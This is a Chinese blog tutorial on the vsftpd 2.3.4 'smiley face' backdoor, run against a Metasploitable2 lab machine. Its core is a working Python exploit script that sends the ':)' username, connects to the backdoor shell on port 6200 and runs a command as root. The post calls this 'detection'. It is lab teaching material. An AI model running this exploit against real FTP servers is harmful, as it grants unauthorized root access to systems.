首页 > 编程语言 >用python脚本检测笑脸漏洞

用python脚本检测笑脸漏洞

时间:2024-10-30 17:45:22浏览次数:6  
标签:FTP shell socket ftp python 笑脸 漏洞 host print

漏洞原理
VSFTPD(Very Secure FTP Daemon)是一个常用的FTP服务器软件。 “vsftpd 2.3.4 Backdoor”(也称为 “vsFTPd 2.3.4 Backdoor” 或 “vsftpd v2.3.4 backdoor”)。该漏洞最初于2011年被公开发现,影响了VSFTPD 2.3.4版本。这个版本中的一个后门(backdoor)允许攻击者通过一个特殊的用户名和密码组合来获得未经授权的访问权限。这个后门的存在可能导致攻击者执行恶意操作,例如未经授权地访问和修改FTP服务器上的文件。
————————————————
                        
原文链接:https://blog.csdn.net/qq_52321992/article/details/131683176

1.安装好Metasploitable2靶机

2.打开kali root模式 

红色选项即为root模式

 3. 输入ifconfig查看Metasploitable2靶机的ip

4. 用kali输入 nmap -sV 靶机ip ,可以看到21端口版本是VSFTPD2.3.4

5. 启动Python脚本检测笑脸漏洞

​
import socket
import time
 
def connect_to_ftp(host, port):
    try:
        # 连接到FTP服务器
        ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ftp_socket.connect((host, port))
        print(f"成功连接到FTP服务器 {host}:{port}")
        
        # 接收FTP欢迎消息
        response = ftp_socket.recv(1024).decode()
        print(f"FTP服务器响应: {response}")
 
        # 发送恶意用户名
        ftp_socket.send(b'USER hacker:)\r\n')
        time.sleep(1)
        
        # 发送密码
        ftp_socket.send(b'PASS anypassword\r\n')
        time.sleep(1)
 
        response = ftp_socket.recv(1024).decode()
        print(f"FTP响应: {response}")
        
        # 检查是否能够连接到后门shell
        return check_backdoor_shell(host)
        
    except Exception as e:
        print(f"连接FTP服务器失败: {e}")
 
def check_backdoor_shell(host):
    try:
        # 连接到6200端口,后门shell可能开启
        shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell_socket.connect((host, 6200))
        print("后门shell已打开!连接到6200端口成功。")
        
        # 向shell发送命令,获取root权限
        shell_socket.send(b'id\n')
        time.sleep(1)
        response = shell_socket.recv(1024).decode()
        print(f"从shell获得的响应: {response}")
        
        shell_socket.close()
        return True
    except Exception as e:
        print(f"连接6200端口失败: {e}")
        return False
 
if __name__ == "__main__":
    target_host = "192.168.81.130"  # Metasploitable2的IP地址
    target_port = 21  # FTP默认端口
    connect_to_ftp(target_host, target_port)
​

 

可以看到,成功检测出了笑脸漏洞 

标签:FTP,shell,socket,ftp,python,笑脸,漏洞,host,print
From: https://blog.csdn.net/2301_79927453/article/details/143350411

相关文章

  • [Python学习日记-58] 开发基础练习1——员工信息查询
    [Python学习日记-58]开发基础练习1——员工信息查询简介题目答案简介        该练习结合了函数和一些常用的模块开发了一个使用命令行交互的员工信息查询程序,可以巩固实践之前学习的内容。题目一、程序需求        现要求你写⼀个简单的员⼯信息增删......
  • Matplotlib配置和样式表操作——Python实现
    今天在使用Python进行Matplotlib配置和样式表操作时候,发生如下报错:NameError:name'IPython_default'isnotdefined源代码如下:importnumpyasnpfrommatplotlibimportpyplotaspltplt.style.available[:5]defhist_and_lines():np.random.seed(0)fig,......
  • 【2024华为OD-E卷-200分-任务最优调度】(题目+思路+Java&C++&Python解析+在线测试)
    在线评测链接题目内容给定一个正整数数组表示待系统执行的任务列表,数组的每一个元素代表一个任务,元素的值表示该任务的类型。请计算执行完所有任务所需的最短时间。任务执行规则如下:任务可以按任意顺序执行,且每个任务执行耗时间均为111个时间单位两个同类型的......
  • 爬虫 python
    服务端渲染客户端渲染urllib.request.urlopen(url)还是requests.get(url)取决于具体的需求和上下文。        以下是两者的对比以及如何选择适合自己的工具:功能对比:易用性和API设计:requests:API设计更加人性化,提供了丰富的高级功能,如会话管理、自动重定向......
  • 说它是谁就是谁—Python语言中的鸭子类型
    鸭子类型(DuckTyping)是动态类型语言中的一种类型推断风格,尤其在Python语言中得到了广泛的应用。它的核心思想是:“如果它走起路来像鸭子,叫起来像鸭子,那么它就是鸭子”。这句话的意思是,我们不关心对象的类型是什么,而只关心对象的行为。只要对象具有所需的方法和属性,它就可以被视......
  • Python元类揭秘:掌控类的创造艺术
    元类(metaclass),作为类的构造者,不仅决定类的行为,还塑造其结构,开启了一扇通往高级元编程的大门。本文旨在全面解析Python元类的奥秘:从概念解析,到需求分析,再到定义与实践,最后,通过具体实例展现元类在现实世界应用中的魅力。一、元类:描述类的类在Python中,一切皆对象。类,作为对象......
  • Python工具箱系列(五十五)
    ​​文字识别文字识别是热门研究方向。目前相对成熟的有:•Google的tesseract项目,它能识别100多种语言•基于机器学习的多个项目,例如百度的paddlehubtesseract使用比较简单,但是配置相对复杂一下。在Ubuntubionic的安装过程如下。aptinstall-ytesseract-ocrtesseract-v#......
  • Python工具箱系列(五十六)
    抠图抠图是基本需求,最常见的应用场景就是证件照,每次去拍照,都要用个纯色的幕布,而且要求衣服不能太浅。其实背后是有原因的:为了管理部门更准确识别出人像。许多科幻电影也是要求演员在绿幕前表演,后期抠图合成逼真的电影。抠图工具非常多,例如PhotoShop就是抠图利器,可以很神奇地把图......
  • Python工具箱系列(五十七)
    图像分割与人脸识别众所周知图像是由若干有意义的像素组成的,图像分割作为计算机视觉的基础,对具有现有目标和较精确边界的图像进行分割,实现在图像像素级别上的分类任务。图像分割可分为语义分割和实例分割两类,区别如下:语义分割:将图像中每个像素赋予一个类别标签,用不同的颜色来表......
  • python调用grpc请求
    gRPC是一款高性能、开源的RPC框架,支持多种编程语言。Protobuf是gRPC使用的默认序化协议,可以将结构化数据序列化为二进制格式,提高数据传输效率。在Python中使用gRPC调用服务时,通常需要先定义协议缓冲区(ProtocolBuffers)消息类型,这些类型是从.proto文件生成的。当你准备调用一个gRP......